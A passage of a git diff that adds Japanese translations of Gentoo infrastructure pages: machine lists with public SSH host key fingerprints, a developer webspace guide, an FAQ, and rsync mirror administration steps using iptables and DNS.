+  <ti><uri link="http://gentoo.org/~vapier/pics/hppa-c3600/">hake.hppa.dev.gentoo.org</uri></ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>PA8600 552MHz</ti>
+  <ti>3G</ti>
+  <ti>C3600と50G HD</ti>
+ </tr>
+
+ <tr>
+  <ti>ia64</ti>
+  <ti>dolphin.ia64.dev.gentoo.org</ti>
+  <ti><uri link="mailto:plasmaroo@gentoo.org">Tim Yamin</uri></ti>
+  <ti>2 x Itanium 2 900MHz</ti>
+  <ti>6G</ti>
+  <ti><uri link="http://hp.com/">HP</uri>にてサポートされています!</ti>
+ </tr>
+
+ <tr>
+  <ti>mips</ti>
+  <ti>o2k.total-knowledge.com</ti>
+  <ti><uri link="mailto:ilya@total-knowledge.com">Ilya A. Volynets-Evenbakh</uri></ti>
+  <ti>16 x R10K/250MHz</ti>
+  <ti>8G</ti>
+  <ti>SGI Origin 2000; 要求にはシニアMIPS開発者の紹介が必要です</ti>
+ </tr>
+
+ <tr>
+  <ti>mipsel</ti>
+  <ti><uri link="http://gentoo.org/~vapier/pics/mipsel-raq2/">raq2.mips.dev.gentoo.org</uri></ti>
+  <ti><uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri></ti>
+  <ti>QED RM5231 250MHz</ti>
+  <ti>256M</ti>
+  <ti>Raq2 Cobalt w/60G HD; 要求にはシニアMIPS開発者の紹介が必要です</ti>
+ </tr>
+
+ <tr>
+  <ti>sparc</ti>
+  <ti>gentoo-e250.cs.luc.edu</ti>
+  <ti><uri link="mailto:kingtaco@gentoo.org">Mike Doty</uri></ti>
+  <ti>2 x US2 400MHz</ti>
+  <ti>2G</ti>
+  <ti>Sun E250; sparc64; <uri link="http://www.cs.luc.edu/">Loyola University Chicago</uri>からの寄付</ti>
+ </tr>
+
+ <tr>
+  <ti>sparc</ti>
+  <ti>v240.brokedown.net:2223</ti>
+  <ti><uri link="mailto:gustavoz@gentoo.org">Gustavo Zacarias</uri></ti>
+  <ti>2 x US3i 1.28GHz</ti>
+  <ti>2G</ti>
+  <ti>Sun V240</ti>
+ </tr>
+</table>
+
+<note>
+もし、あなたのPCをリストに加えたり/更新したい場合は、<uri link="mailto:vapier@gentoo.org">Mike Frysinger</uri>に連絡してください。
+</note>
+
+<table>
+ <tr>
+  <th>ホスト</th>
+  <th>SSH鍵</th>
+ </tr>
+
+ <tr>
+  <ti>pitr.amd64</ti>
+  <ti>c4:35:fe:b4:72:32:6f:a0:ea:80:5d:cf:6f:25:50:6d</ti>
+ </tr>
+
+ <tr>
+  <ti>sid.amd64</ti>
+  <ti>ae:93:c6:75:fa:5b:bf:08:14:d8:56:e1:1f:fa:ed:d7</ti>
+ </tr>
+
+ <tr>
+  <ti>coral.arm</ti>
+  <ti>45:6d:f7:38:83:a2:ca:87:35:95:77:11:ea:cc:5e:cc</ti>
+ </tr>
+
+ <tr>
+  <ti>hake.hppa</ti>
+  <ti>5a:6a:ba:14:e2:a3:0c:4a:2e:6b:63:0d:f2:db:1b:3f</ti>
+ </tr>
+
+ <tr>
+  <ti>dolphin.ia64</ti>
+  <ti>c8:fe:4f:1e:48:48:46:5a:40:7e:96:6c:a4:73:aa:50</ti>
+ </tr>
+
+ <tr>
+  <ti>raq2.mips</ti>
+  <ti>f6:0c:4e:b9:5b:cb:e5:0e:bf:b8:67:5c:be:5d:94:d7</ti>
+ </tr>
+
+ <tr>
+  <ti>gentoo-e250.sparc</ti>
+  <ti>51:ae:f3:96:c4:ac:d3:e9:e9:6a:7f:99:da:c1:78:41</ti>
+ </tr>
+
+ <tr>
+  <ti>v240.sparc</ti>
+  <ti>6c:08:d3:b8:9b:47:d9:89:2a:43:c9:3b:47:e7:ea:34</ti>
+ </tr>
+</table>
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/infrastructure/dev-webspace.xml b/xml/htdocs/proj/ja/infrastructure/dev-webspace.xml
new file mode 100644
index 00000000..44028297
--- /dev/null
+++ b/xml/htdocs/proj/ja/infrastructure/dev-webspace.xml
@@ -0,0 +1,95 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "dev-webspace.xml" lang="ja">
+<title>dev.gentoo.orgのウェブスペース設定</title>
+<author title="Author">
+    <mail link="jforman@gentoo.org">Jeffrey Forman</mail>
+</author>
+<author title="Author">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="翻訳者">
+  <mail link="masatsugu@fujinaka.info">藤中 正次</mail>
+</author>
+<abstract>
+このガイドは、Gentoo開発者がどのようにして、開発クラスタ上に個人のウェブスペースを設定できるのか記載しています。
+</abstract>
+<version>1.2</version>
+<date>2006-04-30</date>
+<!-- Original revision: 1.5 -->
+
+
+<chapter>
+<title>開発者のウェブスペース</title>
+<section>
+<title>使い方ときまり</title>
+<body>
+
+<p>
+woodpecker(dev.gentoo.org)上のあなたの開発スペース内で、あなたは<path>http://dev.gentoo.org/~username</path>でアクセス可能な<path>public_html</path>ディレクトリを作成することができます。
+あなたは、Gentooに関連したファイルをこのスペースに置くことができます。
+たとえば、プロジェクト文書、あなたが評価中のebuildやパッケージなどです。
+他の開発者や評価者への配布以外の公式配布目的で、ここにdistfileを置かないように注意をお願いします。
+公式配布のパッケージはdistfileミラーに置かれるべきです。
+</p>
+
+<p>
+開発スペースには、Gentooに関連するファイルのためのもです。会社や在宅仕事のファイル、猥褻文書、米国の法律(woodpeckerは米国に設置されています)で禁じられたファイルを置くことはできません。
+公開フォルダに置かれたファイルは全世界から閲覧可能であり、それらのコンテンツは同じルールに則るべきです。
+どういう理由であれ、開発スペースをお金を稼ぐために使用してはなりません。これには、切り替え型のバナーやオークション(または、オークションのホストアイコン)、Google adsも含みます。
+従来通り、良識に則って使用してください。
+</p>
+
+<p>
+もし、あなたのスペースないにおいて、他の開発者やコンピュータ上のユーザにたいして有害なファイルや、Gentooプロジェクトに危険をもたらすファイルなど(非合法の.torrentsや猥褻文書など)が見つかった場合は、Gentoo Infrastructureがあなたのアカウントを停止し、Gentoo Develop Relationsの調査後に停止解除となります。
+ほとんどの場合において、こういったファイルが見つかったとき、Gentoo開発者の地位は停止されます。
+もし、ファイルが他の開発者や一般的なGentooにおいて影響があるかどうか、確かでない場合は、あなたの管理人もしくは指導者に、そのファイルを確認してもらうようにしてください。
+Gentooでのほかのことと同じく、常識の範囲内で行動し、コンピュータのセキュリティに常に注意してください。
+</p>
+
+</body>
+</section>
+<section>
+<title>ファイルのアップロード</title>
+<body>
+
+<p>
+もし、あなたの採用者が、public_htmlをあなたのために作成していない場合は、下記を参考に自分で作成してください。
+</p>
+
+<pre caption="public_htmlの作成">
+username@homebox ~$ <i>ssh username@dev.gentoo.org</i>
+Enter passphrase for key '/home/username/.ssh/id_rsa':<comment>(あなたのパスフレーズの入力)</comment>
+
+username@toucan home$ <i>cd ~username</i>
+username@toucan ~$ <i>mkdir public_html</i>
+username@toucan ~$ <i>chmod -R 755 public_html</i>
+</pre>
+
+<p>
+Infrastructureプロジェクトは開発者のファイルのバックアップを作成しません。
+開発者スペース内にある、あなたのファイルのバックアップ作成の責任はあなたにあります。
+わたしは、あなた自信のコンピュータに~/devspaceというフォルダを作成しミラーすることを提案します。
+</p>
+
+<p>
+<c>scp</c>を使用してファイルをコピーしてください。
+</p>
+
+<pre caption="暗号化されたコピー">
+username@homebox devspace$ <i>scp index.htm username@dev.gentoo.org:~/public_html</i>
+Enter passphrase for key '/home/username/.ssh/id_rsa':<comment>(あなたのパスフレーズの入力)</comment>
+</pre>
+
+<p>
+scpの使い方のさらなる情報は、manページか以下のURLを参照してください。
+<uri>http://www.openssh.com</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/infrastructure/faq.xml b/xml/htdocs/proj/ja/infrastructure/faq.xml
new file mode 100644
index 00000000..613d911a
--- /dev/null
+++ b/xml/htdocs/proj/ja/infrastructure/faq.xml
@@ -0,0 +1,44 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="faq.xml">
+<title>Gentoo基幹サーバよくある質問</title>
+<author title="Author">
+   <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="翻訳者">
+	<mail link="masatsugu@fujinaka.info">藤中 正次</mail>
+</author>
+<abstract>
+このページはGentoo基幹サーバに関するもっとよくある質問とその答えを記載しています。
+</abstract>
+
+<version>0.9</version>
+<date>21 August 2003</date>
+<!-- Original revision: 1.3 -->
+
+<chapter>
+<title>よくある質問</title>
+<section>
+<body>
+<p>
+<b>Q:</b>dev.gentoo.orgに、なんらかのプログラムをコンパイルしインストールすることはできますか? 作業が楽になるのですが?
+</p>
+<p>
+<b>A:</b>基本的にだめです。 dev.gentoo.orgの主な目的は、開発者のためのemail機能とファイル交換です。 一般的なシェルアクセスサーバでは<b>ありません</b>。 インストールすることで、<b>非常に</b>多くのGentoo開発者にとって有益なプログラムがあるのであれば、われわれは、そのプログラムをインストールすること考慮します。 そのプログラムのよい例が、<c>procmail</c>です。 もし、このようなプログラムがあると考えるのであれば、klieberに連絡してください。
+</p>
+<p>
+特にIRC Bouncers(訳注:IRC Proxy)に関してはインストール、サポートはしません。
+</p>
+<p>
+<b>Q:</b>&lt;あるサービス&gt;に関して、問題があるのですが。 だれに連絡すればよいですか?
+</p>
+<p>
+<b>A:</b>この<uri link="/proj/en/infrastructure/#doc_chap3">開発者リスト</uri>を参照し、だれが責任者で、コンタクト先はどこか確認してください。
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/infrastructure/mirrors-rsync.xml b/xml/htdocs/proj/ja/infrastructure/mirrors-rsync.xml
new file mode 100644
index 00000000..848c3145
--- /dev/null
+++ b/xml/htdocs/proj/ja/infrastructure/mirrors-rsync.xml
@@ -0,0 +1,216 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "mirrors-rsync.xml">
+<title>rsyncミラーシステム管理のための説明</title>
+<author title="Author">
+    <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="翻訳者">
+	<mail link="masatsugu@fujinaka.info">藤中 正次</mail>
+</author>
+
+<abstract>
+このガイドは、rsyncミラーシステムの、立ち上げ、削除、変更を含む管理方法に関して記載してます。
+</abstract>
+<version>0.9</version>
+<date>08 July, 2003</date>
+<!-- Original revision: 1.3 -->
+
+<chapter>
+<title>新しいrsyncミラーを作る</title>
+<section>
+<title>概要</title>
+<body>
+<p>
+新しいrsyncミラーの立ち上げは、以下の手順が必要となってきます。
+</p>
+<ul>
+	<li>bugzilla上で認識されること。</li>
+	<li>一時的な監視状態のサーバをrsync1.us.gentoo.orgのiptableルールセットに追加。</li>
+	<li>正常にミラーされていることを定期的にテストを行う。</li>
+	<li>新規ミラーのためにDNSレコードを作成する。</li>
+	<li>新規ミラーのためにUltraDNSに、Directional DNSサービスを設定する。</li>
+</ul>
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+<p>
+rsyncミラーサーバを作るためにユーザが、まず行うことは、バグ(訳注:申請書)を<uri link="http://bugs.gentoo.org">http://bugs.gentoo.org</uri>に、提出することです。 そこから、ミラー管理者が、バグを認識し、初期リポートの中に以下の情報が含まれているか確認します。
+</p>
+<ul>
+	<li>サーバ名</li>
+	<li>ミラーのIPアドレス</li>
+	<li>サーバ管理人の連絡先</li>
+	<li>一度に接続が許可される最大接続数</li>
+	<li>サーバのスペック(CPU, RAM, 回線のスピード)</li>
+	<li><uri link="/doc/en/rsync.xml">Rsync Mirrors Policy</uri>に記載されている、そのほかの要求事項。</li>
+</ul>
+<p>
+もし、情報が不十分であれば、バグのフォローアップとして要求してください。 その後、次のステップに進んでください。
+</p>
+</body>
+</section>
+<section>
+<title>試験採用期間</title>
+<body>
+<p>
+新しいrsyncミラーサーバは、rsync1.us.gentoo.orgに対してタイムリーに同期しているかを定期的に確認するために、最低48時間から最大96時間の監視状態におかれます。
+このセットアップを行うために、ミラー管理者は、rsync1.us.gentoo.org上のiptableルールセットを変更しなければなりません。そして、rsync1.us.gentoo.orgにsshを使ってログインし、以下のオペレーションを実行する必要があります。
+</p>
+<pre caption="vimとsudoを使って/etc/init.d/rsyncを編集する">
+# <i>sudo /usr/bin/vim /etc/init.d/rsync</i>
+</pre>
+<pre caption="Testing sectionを見つけて、新しいミラーを追加する">
+#######
+#
+# TESTING MIRRORS
+# PUT MIRRORS THAT ARE IN THE TESTING PHASE HERE
+# MAKE SURE TO REFERENCE THE BUGZILLA # SO WE CAN TRACK THEM
+#
+######
+
+        #bug #12345
+	     addMirror 192.168.1.1
+</pre>
+<note>
+各エントリは少なくとも2行で構成されるべきです。 バグナンバーへの参照をコメントとし、実際のアクセスエントリです。
+アクセス行は<c>addMirror &lt;ipアドレス&gt;</c>のフォーマットに従うことが<b>必須です</b>。
+</note>
+<p>
+また、現在のiptableルールセットに、手動でルールを設定する必要があります。
+</p>
+<pre caption="sudoを使って現在のiptablesルールセットにエントリを追加する">
+# <i>sudo /sbin/iptables -A tcp_packets -p TCP -s &lt;ip address&gt; --dport 873 -j tcp_allowed</i>
+</pre>
+<p>
+ここから、次の48~96時間のあいだ、:00と:30の間隔でrsyncミラーが正常に同期しているか監視されます。
+もし、ミラーがいかなる種類の非整合性をみせたなら、バグエントリに報告し、可能であれば、そのサーバ管理人とともに問題の解決にあたります。
+</p>
+<note>
+残っている作業項目は、監視期間中に監視プロセスを自動化するためのスクリプトを書くことです。
+</note>
+</body>
+</section>
+<section>
+<title>DNSエントリを追加する</title>
+<body>
+<p>
+ミラー候補が監視機関を経過した後、ミラー管理人は、そのミラーのDNSエントリを作成すべきです。
+各ミラーは5つのDNSレコードが必要です。
+</p>
+<ul>
+	<li>rsyncマスタのレコード。 AレコードかCNAMEです。 例: <c>rsync5.us.gentoo.org</c></li>
+	<li>サーバ管理者の連絡情報を記載しているTXTレコード。 例: <c>"Joe Admin &lt;joe@user.com&gt;"</c></li>
+	<li><c>rsync.gentoo.org</c>ローテーション内の適切なエントリ。</li>
+	<li>国コード内ローテーションの適切なエントリ。 例: <c>rsync.uk.gentoo.org</c></li>
+	<li>大陸コード内ローテーションの適切なエントリ。 例: <c>rsync.namerica.gentoo.org</c></li>
+</ul>
+<impo>
+われわれが、問題のあるrsyncミラーをローテーションのなかから素早く取り除けるように、新規エントリは、20分以上のTTLで作成されるべきではありません。
+</impo>
+<impo>
+DNSラウンドロビンローテーションは、ローテーション内でのCNAMEをサポート<b>しません</b>。
+ラウンドロビンローテーションないの、ローテーションは、Aレコードである必要があります。
+</impo>
+<note>
+<c>rsync.gentoo.org</c>と同じく、<c>rsync.europe.gentoo.org</c>、<c>rsync.us.gentoo.org</c>、<c>rsync.namerica.gentoo.org</c>は、いっぱいになりつつあり、これらのローテーションにサーバを追加する場合、ミラー管理者の裁量に任されます。
+一般的に、これらのローテーションには、少なくとも25ユーザの接続を許可し、10Mbps以上の接続を有する十分なスペックのサーバが加えられべきです。
+</note>
+<p>
+エントリを作成するためには、ミラー管理人アカウントを使用して<uri link="https://www.ultradns.net">UltraDNS</uri>にログインし、webインタフェース経由でレコードを作成してください。
+</p>
+</body>
+</section>
+<section>
+<title>Directional DNSを追加する</title>
+<body>
+<p>
+マスタrsync.gentoo.orgローテーションに対して、われわれはユーザのIPアドレスの場所をもとに、Directional DNSを使って特定のミラーセットを対象とします。
+この機能を地理的な位置と考えるのが一番簡単ですが、実際には、ユーザのネットワーク接続と複数のUltraDNSサーバへの接近度に依存しています。
+Directional DNSサービスを有効にするためには、以下の手順に従ってください。
+</p>
+<ul>
+	<li><uri link="https://www.ultradns.net">UltraDNS</uri>に、管理インタフェースを使ってログインする。</li>
+	<li><c>rsync.gentoo.org</c>ドメインを選択する。</li>
+	<li>Directional DNS機能を設定したいレコードを見つけます。	</li>
+	<li>そのエントリの回転する球体(灰色かブルー色)をクリックします。 結果、ポップアップが表示されます。</li>
+	<li> UltraDNSが結果としてレコードを返すサーバを選択します。 サーバは、地理的に近いところを選択すべきです。</li>
+	<li><c>finished</c>をクリックして、Directional DNSの画面を閉じてください。</li>
+</ul>
+<impo>
+ミラー管理者は、rsync.gentoo.orgがある特定セットに対してあまりにもたくさんのレコードを返さないように、定期的に(チェックし)保証しなければなりません。
+ラウンドロビンセットとして、約22レコード以上を返すときは、UDPが扱うことができるレコード数を超えています。
+このためUDPによるDNSが要求が失敗するため、その障害回避としてUDPの代わりにTCPが使用されます。しかしこれは、TCPポートの53をブロックしているユーザに問題を起こします。
+</impo>
+</body>
+</section>
+<section>
+<title>iptablesアクセスリストの更新</title>
+<body>
+<p>
+一度、ミラー候補が立ち上がり機能したら、ミラー管理人はrsync1.us.gentoo.orgのiptablesアクセスリストを、変更を反映するためにアップデートするべきです。
+</p>
+<pre caption="vimとsudoを使って/etc/init.d/rsyncを編集する">
+# <i>sudo /usr/bin/vim /etc/init.d/rsync</i>
+</pre>
+<pre caption="テストミラーセクションのエントリをファイルの適切な部分への移動">
+#######
+#
+# TESTING MIRRORS
+# PUT MIRRORS THAT ARE IN THE TESTING PHASE HERE
+# MAKE SURE TO REFERENCE THE BUGZILLA # SO WE CAN TRACK THEM
+#
+######
+
+        #bug #12345
+         addMirror 192.168.1.1
+<comment>(上記のエントリを削除して、下記の適切な場所へ移動します。)</comment>
+[snip]
+
+# .us RSYNC MIRRORS
+
+        # rsync5.us     "Joe Admin &lt;joe@admin.com&gt;"
+		addMirror 192.168.1.1
+
+</pre>
+<note>
+その2行はサーバ管理者名を参照するコメントと、実際のアクセスエントリに含まれるE-mailアドレスとで構成されます
+アクセス行は<c>addMirror &lt;ipアドレス&gt;</c>のフォーマットに従うことが<b>必須です</b>。
+</note>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>rsyncミラーの更新</title>
+<section>
+<body>
+<p>
+監視期間がないことと、新規レコードの追加ではなく、既存レコードを変更する以外、rsyncミラーのアップデートは上記のステップと同じです。
+</p>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>rsyncミラーを削除する</title>
+<section>
+<body>
+<p>
+rsyncミラーを削除するには、以下の手順を完了するだけです。
+</p>
+<ul>
+	<li>rsync1.us.gentoo.orgの/etc/init.d/rsyncのエントリを削除する。</li>
+	<li>rsync1.us.gentoo.orgのiptablesエントリを手動で削除する。</li>
+	<li>UltraDNSの5つのエントリすべてを削除する。</li>
+</ul>
+<pre caption="sudoを使って、現在のiptableルールセットのエントリを削除する">
+# <i>sudo /sbin/iptables -D tcp_packets -p TCP -s &lt;ip address&gt;</i>
+</pre>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/ja/infrastructure/server-specs.xml b/xml/htdocs/proj/ja/infrastructure/server-specs.xml
new file mode 100644
index 00000000..7c9e34f9
--- /dev/null
+++ b/xml/htdocs/proj/ja/infrastructure/server-specs.xml
@@ -0,0 +1,365 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="server-specs.xml" lang="ja">
+<title>Gentoo基盤サーバ スペック</title>
+<author title="Author">
+   <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="ramereth@gentoo.org">Lance Albertson</mail>
+</author>
+<author title="翻訳者">
+	<mail link="masatsugu@fujinaka.info">藤中 正次</mail>
+</author>
+
+<abstract>
+このページはGentooインフラストラクチャプロジェクトで使われ、またサポートされているサーバの一覧です。
+</abstract>
+
+<version>1.1</version>
+<date>May 10, 2006</date>
+<!-- Original revision: 1.41 -->
+
+<chapter>
+<title>サーバスペック</title>
+<section>
+<body>
+<table>
+	<tr>
+		<th>サーバ名</th>
+		<th>エイリアス</th>
+		<th>サービス</th>
+		<th>CPU</th>
+		<th>RAM</th>
+		<th>ディスク</th>
+		<th>所有者</th>
+		<th>所在</th>
+		<th>SSH Fingerprints</th>
+	</tr>
+	<tr>
+		<ti>bluejay</ti>
+		<ti>www.gentoo.org</ti>
+		<ti>wwwノード (マスタ)</ti>
+		<ti>Athlon XP 2400</ti>
+		<ti>2GB</ti>
+		<ti>36GB U160</ti>
+		<ti>Seven L Networks</ti>	
+		<ti>Toronto, Canada</ti>
+		<ti>RSA b2:a7:5e:74:33:fa:5c:5f:f1:48:3e:f8:28:ec:8e:3f DSA 39:8f:4b:ff:97:ff:b0:72:39:32:a2:7a:2b:93:8e:82</ti>
+	</tr>
+	<tr>
+		<ti>cockatoo</ti>
+		<ti>rsync.gentoo.org</ti>
+		<ti>rsyncサーバ</ti>
+		<ti>2.8Ghz P4 w/ HT</ti>
+		<ti>1GB</ti>
+		<ti>100GB IDE</ti>
+		<ti>vr.org</ti>
+		<ti>San Jose, CA</ti>
+		<ti>RSA c7:56:2b:95:81:c0:42:fd:fc:82:e5:b0:eb:50:9a:b7 DSA ac:c2:50:c9:37:81:5b:91:03:26:3d:22:75:3c:14:2e</ti>
+	</tr>
+	<tr>
+		<ti>crane</ti>
+		<ti>rsync.gentoo.org</ti>
+		<ti>rsyncサーバ</ti>
+		<ti>2 x 1.7Ghz P4 Xeons</ti>
+		<ti>2GB</ti>
+		<ti>2 x 18GB U160</ti>
+		<ti>匿名</ti>
+		<ti>Indianapolis, IN</ti>
+		<ti>RSA 3c:c8:47:cb:fd:ee:c7:1e:ad:de:5f:1e:f1:45:47:da DSA 21:24:7d:c8:a1:45:a1:2a:3f:17:8f:27:37:a7:66:42</ti>
+	</tr> 
+	<tr>
+		<ti>dove</ti>
+		<ti>forums.gentoo.org</ti>
+		<ti>forumsサーバ</ti>
+		<ti>2 x 2.8Ghz P4 Xeons</ti>
+		<ti>2GB</ti>
+		<ti>5 x 36GB SCSI RAID5</ti>
+		<ti>Open Source Lab</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA c5:6a:9b:32:15:0c:89:5e:a4:05:59:9d:ae:d1:83:27 DSA ef:c9:86:9d:a2:f9:79:83:d9:a2:c3:0a:66:cd:4c:9b</ti>
+	</tr> 
+	<tr>
+		<ti>duck</ti>
+		<ti></ti>
+		<ti>ldap2</ti>
+		<ti>2 x 800Mhz Pentium III</ti>
+		<ti>1.5GB</ti>
+		<ti>2 x 9GB SCSI RAID1</ti>
+		<ti>匿名</ti>
+		<ti>Indianapolis, IN</ti>
+		<ti>RSA 87:b2:83:3b:ec:0c:9d:d7:6c:a9:fc:32:f4:a5:e8:23 DSA 5d:37:de:74:34:cb:7e:40:44:a3:5a:f6:ad:6e:60:eb</ti>
+	</tr> 
+	<tr>
+		<ti>eagle</ti>
+		<ti></ti>
+		<ti>cfengineマスタ</ti>
+		<ti>1GHz PIII</ti>
+		<ti>1GB</ti>
+		<ti>100GB RAID 5 SCSI</ti>
+		<ti>Open Source Lab</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA 59:24:87:31:91:94:57:92:1d:ae:93:ae:78:25:88:0c DSA f5:35:42:0f:d9:76:b6:3f:d6:c8:52:53:79:b9:d1:0f</ti>
+	</tr>
+	<tr>
+		<ti>egret</ti>
+		<ti>overlays.gentoo.org</ti>
+		<ti>(未リリース)overlays用サイト</ti>
+		<ti>AMD Sempron 2200+</ti>
+		<ti>512MB</ti>
+		<ti>80GB IDE</ti>
+		<ti>Tek Alchemy, Inc.</ti>
+		<ti>Austin, TX</ti>
+		<ti>RSA d3:95:2b:53:37:71:ea:bc:15:9a:04:7c:35:59:aa:9b DSA 2d:84:ef:f0:29:f2:2a:a5:fc:55:80:19:b6:71:50:81</ti>
+	</tr>
+	<tr>
+		<ti>hawk</ti>
+		<ti>rsync.gentoo.org</ti>
+		<ti>rsyncサーバ</ti>
+		<ti>2.4Ghz P4</ti>
+		<ti>2GB</ti>
+		<ti>40GB IDE</ti>
+		<ti>匿名</ti>
+		<ti>Indianapolis, IN</ti>
+		<ti>RSA d0:c0:0c:09:02:7e:f5:e1:b0:1a:d8:18:bd:26:13:54 DSA b8:d5:21:20:63:aa:36:ac:4d:98:8f:56:69:a3:13:cb</ti>
+	</tr>
+	<tr>
+		<ti>heron</ti>
+		<ti>anoncvs.gentoo.org, anonsvn.gentoo.org</ti>
+		<ti>匿名cvs/svn (テスト中)</ti>
+		<ti>2.8Ghz P4 Xeon</ti>
+		<ti>4GB</ti>
+		<ti>4 x 36GB U320 SCSI (RAID10)</ti>
+		<ti>匿名</ti>
+		<ti>Murray, KY</ti>
+		<ti>RSA 26:0e:d4:ed:d7:15:cb:38:b7:72:31:04:6b:28:96:b2 DSA 8a:70:de:b3:8f:95:5f:bd:c0:0a:f7:ce:a2:b8:c3:e9</ti>
+	</tr>
+	<tr>
+		<ti>kiwi</ti>
+		<ti>www.gentoo.org</ti>
+		<ti>wwwノード (スレーブ)</ti>
+		<ti>Athlon XP 2500+</ti>
+		<ti>512MB</ti>
+		<ti>80GB IDE</ti>
+		<ti>Tek Alchemy, Inc.</ti>
+		<ti>Austin, TX</ti>
+		<ti>RSA 48:9b:16:77:ff:93:15:55:48:96:95:71:b3:fc:15:43 DSA 7d:bf:67:93:d7:3e:6c:ed:cd:ab:f8:a4:76:79:ae:5b</ti>
+	</tr>
+	<tr>
+		<ti>lark</ti>
+		<ti>cvs.gentoo.org</ti>
+		<ti>CVS</ti>
+		<ti>2 x 2.4GHz Xeons</ti>
+		<ti>1GB</ti>
+		<ti>2 x 36GB U160 SCSI</ti>
+		<ti>Gentoo Technologies</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA 8c:21:47:03:a5:d8:b9:e2:7d:69:53:2d:e2:0e:2c:97 DSA 5c:56:a5:b5:30:2e:3a:83:ef:68:1a:9d:77:01:f1:5f</ti>
+	</tr>
+	<tr>
+		<ti>loon</ti>
+		<ti></ti>
+		<ti>新wwwマスタ</ti>
+		<ti>2.8Ghz P4</ti>
+		<ti>1GB</ti>
+		<ti>80G IDE</ti>
+		<ti>vr.org</ti>
+		<ti>San Jose, CA</ti>
+		<ti>RSA 23:4c:e1:e0:03:b3:9d:aa:5c:39:b8:f4:da:e4:bc:b6 DSA 13:97:3e:55:cf:b7:fe:09:23:07:8a:f3:73:8b:64:06</ti>
+	</tr>
+	<tr>
+		<ti>nuthatch</ti>
+		<ti>bugs.gentoo.org, bugday.gentoo.org, survey.gentoo.org, packages.gentoo.org, archives.gentoo.org</ti>
+		<ti>複数のwwwサービス</ti>
+		<ti>2.4Ghz P4 w/ HT</ti>
+		<ti>1GB</ti>
+		<ti>80GB IDE</ti>
+		<ti>Open Source Lab</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA 78:62:de:00:cb:c4:9f:17:c4:ea:17:de:be:7f:17:85 DSA 5b:44:e1:a5:81:0f:03:86:3f:2a:09:4c:e4:bd:ca:b6</ti>
+	</tr>
+	<tr>
+		<ti>osprey</ti>
+		<ti></ti>
+		<ti>マスタミラー</ti>
+		<ti>2GHz Opteron 246</ti>
+		<ti>2GB</ti>
+		<ti>2 x 250GB IDE</ti>
+		<ti>Open Source Lab</ti>
+		<ti>Corvallis, OR</ti>
+		<ti>RSA 9b:b8:cb:c3:29:35:87:0f:7a:0f:bb:9b:df:c9:e1:7f DSA 29:32:e9:65:bb:a9:c1:d8:97:95:75:dc:5c:0a:20:59</ti>
+	</tr>
+	<tr>
+		<ti>owl</ti>
+		<ti>rsync.gentoo.org</ti>
+		<ti>rsyncサーバ</ti>
+		<ti>2 x 2.4Ghz Xeon w/ HT</ti>
+		<ti>1G</ti>
+		<ti>2 x 36G SCSI</ti>
+		<ti>Global Netoptex, Inc</ti>
+		<ti>San Fransico, CA</ti>
+		<ti>RSA 03:44:40:f6:08:43:12:26:a0:24:f1:45:30:fc:13:9f DSA 52:63:28:b6:83:2f:1a:44:f0:1b:ec:7f:dc:03:6c:6d</ti>
+	</tr>
+	<tr>
+		<ti>parakeet</ti>
+		<ti></ti>
+		<ti>www再デザイン</ti>
+		<ti>2 x 450Mhz Pentium III</ti>
+		<ti>512MB</ti>
+		<ti>5x9.1GB SCSI</ti>
+		<ti>匿名</ti>
+		<ti>Indianapolis, IN</ti>
+		<ti>RSA 72:38:5c:f1:4e:fa:cd:9f:f5:9f:f9:20:54:18:ef:86 DSA 04:1a:6d:08:d2:3b:5e:64:4d:bf:75:95:6e:5b:ce:b9</ti>
+	</tr>
+	<tr>
+		<ti>parrot</ti>
+		<ti></ti>
+		<ti>lists.gentoo.org用backup MX</ti>
+		<ti>2 x 350Mhz Pentium III</ti>
+		<ti>256MB</ti>
+		<ti>9GB IDE and 18GB SCSI</ti>
+		<ti>匿名</ti>
+		<ti>Indianapolis, IN</ti>
+		<ti>RSA 12:20:d8:2e:f6:a7:b8:62:fd:bf:a1:b8:b7:bc:66:44 DSA 88:d5:bf:c4:19:87:92:e8:8f:29:58:01:28:87:b9:fd</ti>
+	</tr>
+        <tr>
+		<ti>pheasant</ti>
+		<ti></ti>
+		<ti>そのた諸々のテストWebサイト</ti>
+		<ti>2.4Ghz P4</ti>
+		<ti>2GB</ti>        
+		<ti>40GB IDE</ti>
+		<ti>匿名</ti>
+		<ti>Indianapolis, IN</ti>
+		<ti>RSA 18:48:a0:d9:69:89:ae:30:9c:e9:a9:ad:67:46:35:2a DSA 16:05:b0:51:39:7f:52:55:8b:77:e2:5e:f0:36:3a:ec</ti>
+	</tr>
+	<tr>
+		<ti>raptor</ti>
